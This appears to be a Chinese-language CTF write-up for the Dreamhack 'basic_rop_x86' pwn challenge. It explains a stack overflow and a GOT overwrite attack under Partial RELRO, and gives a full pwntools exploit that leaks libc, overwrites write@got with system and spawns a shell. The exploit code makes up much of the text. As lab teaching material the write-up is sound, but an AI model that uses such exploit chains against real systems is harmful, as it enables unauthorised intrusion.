0x00 源代码
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
0x01 代码状态
源代码与之前介绍的x64下的ROP问题相同,所以开启的保护机制也相同。
$ checksec ./basic_rop_x86
[*] '/home/ni/workspace/dreamhack/ASLR_NX/rop/basic_rop_x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
x86架构和x64架构对于函数在栈中调用最大的差别就是,x86架构下函数参数直接放入栈帧,而x64架构先存入寄存器,当寄存器数量不够时才会传入栈帧,所以一会在编写payload的时候也要遵守这个规则。
0x02 分析
什么是 GOT verwrite
上一次题目中我们利用已有函数,计算出system函数的位置,直接运行system得到shell。这一次用其他办法解一次题目。在查看代码状态时,看到程序开启了Partial RELRO,说明函数是在调用时先搜索其绝对地址,再将搜索到地址存入 got 表中(Lazy binding),下次调用函数的时候直接根据 got 表中的地址调用函数,但是程序并不会检查 got 表是否被改写过。Partial RELRO 下程序给予 got 表可写权限,也就是说我们可以利用 GOT 表的可写权限,进行一次 GOT overwrite 攻击(即,通过改写 got 表,将一个函数的地址修改成另一个函数)。
0x03 设计payload
1. Buffer Overflow
通过gdb分析需要多少字符达到ret。gdb分析之后可以看出需要44(buf)+4(sfp)个字符达到ret。
pwndbg> disass main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: push edi
=> 0x080485dd <+4>: sub esp,0x40
0x080485e0 <+7>: lea edx,[ebp-0x44] <---在这里
0x080485e3 <+10>: mov eax,0x0
0x080485e8 <+15>: mov ecx,0x10
0x080485ed <+20>: mov edi,edx
0x080485ef <+22>: rep stos DWORD PTR es:[edi],eax
0x080485f1 <+24>: call 0x8048592 <initialize>
既然要构造 GOT 链,当然也需要相应的 gadget, 用 ROPgadget 进行查找。
$ ROPgadget --binary ./basic_rop_x86 --re "ret"
Gadgets information
============================================================
0x080487cd : adc al, 0x41 ; ret
0x080484e7 : adc cl, cl ; ret
......
0x0804868b : pop ebp ; ret
0x08048688 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483d9 : pop ebx ; ret
0x0804868a : pop edi ; pop ebp ; ret
0x08048689 : pop esi ; pop edi ; pop ebp ; ret <---- 选择这个gadget
......
2. 计算system函数位置,找到/bin/sh字符
想要计算 system 函数地址,需要通过read在got表中的绝对地址和 libc.so.6 (题目提供)库中的 read 地址相减,计算出库在程序中整体的偏移量。后面就可以利用这个偏移量计算出现在system函数的地址。read_got 可以用程序中本来就出现过的 write 函数来输出。
3. 修改write函数在GOT表的地址
计算出 system 函数具体的位置之后,选择一个函数的 got 表其地址,使其实际指向 system 函数。这里可以选择 write 函数,在修改其在 got 表中的地址之后,下次利用 write_plt 进行函数调用的时候,将会调用 system 函数。这样通过 write(“/bin/sh”) 指令就可以取得shell。
在 gdb 中利用 info func 指令找一下我们可以利用的函数有哪些。
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x080483b8 _init
0x080483f0 read@plt <---- 用于输入与改写
0x08048400 signal@plt
0x08048410 alarm@plt
0x08048420 puts@plt
0x08048430 exit@plt
0x08048440 __libc_start_main@plt
0x08048450 write@plt <---- 用于输出和最后被改写
0x08048460 setvbuf@plt
0x08048470 __gmon_start__@plt
0x08048480 _start
0x080484b0 __x86.get_pc_thunk.bx
0x080484c0 deregister_tm_clones
0x080484f0 register_tm_clones
0x08048530 __do_global_dtors_aux
0x08048550 frame_dummy
0x0804857b alarm_handler
0x08048592 initialize
0x080485d9 main
0x08048630 __libc_csu_init
0x08048690 __libc_csu_fini
0x08048694 _fini
0x04 编写payload
1. Overflow 与输出 read_got
先进行一次 overflow,然后利用刚刚找的gadget和各种函数地址开始构造我们的 payload。溢出后用 write 函数输出 read_got。
from pwn import*
def slog(n,m): return success(":".join([n,hex(m)]))
#p = remote("host3.dreamhack.games", 17801)
p = process("./basic_rop_x86")
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
binsh = e.bss()
pppr = 0x08048689 #<--- 刚刚的gadget
# buffer padding
payload = b'A'*0x48
#[1]write(1, read_got, 0x4)
payload += p32(write_plt) + p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)
2. 计算 system 函数地址,输入 /bin/sh 字符
通过计算出read函数在程序中地址和库中地址的差值,可以获得system函数在程序中相应的位置。
from pwn import*
def slog(n,m): return success(":".join([n,hex(m)]))
#p = remote("host3.dreamhack.games", 17801)
p = process("./basic_rop_x86")
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
binsh = e.bss() # <----初始化binsh
pppr = 0x08048689 # <--- 刚刚的gadget
# buffer padding
payload = b'A'*0x48
#[1]write(1, read_got, 0x4)
payload += p32(write_plt) + p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)
#[2]read(0, binsh, 8) <--- 既然调用了read函数,我们一会要输入一个值。(这里标号为1,方便理解)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(binsh) + p32(8)
##leak base
p.send(payload) # <--- 发送这段payload
p.recvuntil(b'A'*0x40)
read = u32(p.recvn(4))
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("Base", lb)
slog("system", system)
##read <-- "/bin/sh\x00" <--- 向 1 中的发送 /bin/sh 字符,binsh = '/bin/sh'
p.send(b'/bin/sh\x00')
3. 修改write函数的 got 表
#[3]read(0, write_got, 0x4) <--- 修改write_got的值,使其指向system函数(标号2)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(write_got) + p32(4)
#[4]write("binsh") <--- write的地址已经被改为system函数
payload += p32(write_plt)
payload += p32(0)
payload += p32(binsh)
## read <-- "system" <--- 向标号2中输入求出的system函数地址
p.sendline(p32(system))
0x05 完整Exploit
Exploit
from pwn import*
def slog(n,m): return success(":".join([n,hex(m)]))
#p = remote("host3.dreamhack.games", 17801)
p = process("./basic_rop_x86")
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
binsh = e.bss()
pppr = 0x08048689
# buffer padding
payload = b'A'*0x48
#[1]write(1, read_got, 0x4)
payload += p32(write_plt) + p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)
#[2]read(0, binsh, 8)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(binsh) + p32(8)
#[3]read(0, write_got, 0x4)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(write_got) + p32(4)
#[4]write("binsh")
payload += p32(write_plt)
payload += p32(0)
payload += p32(binsh)
##leak base
p.send(payload)
p.recvuntil(b'A'*0x40)
read = u32(p.recvn(4))
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("Base", lb)
slog("system", system)
##read <-- "/bin/sh\x00"
p.send(b'/bin/sh\x00')
## read <-- "system"
p.sendline(p32(system))
p.interactive()
如果有不到位或者错误的地方请直接私信或者评论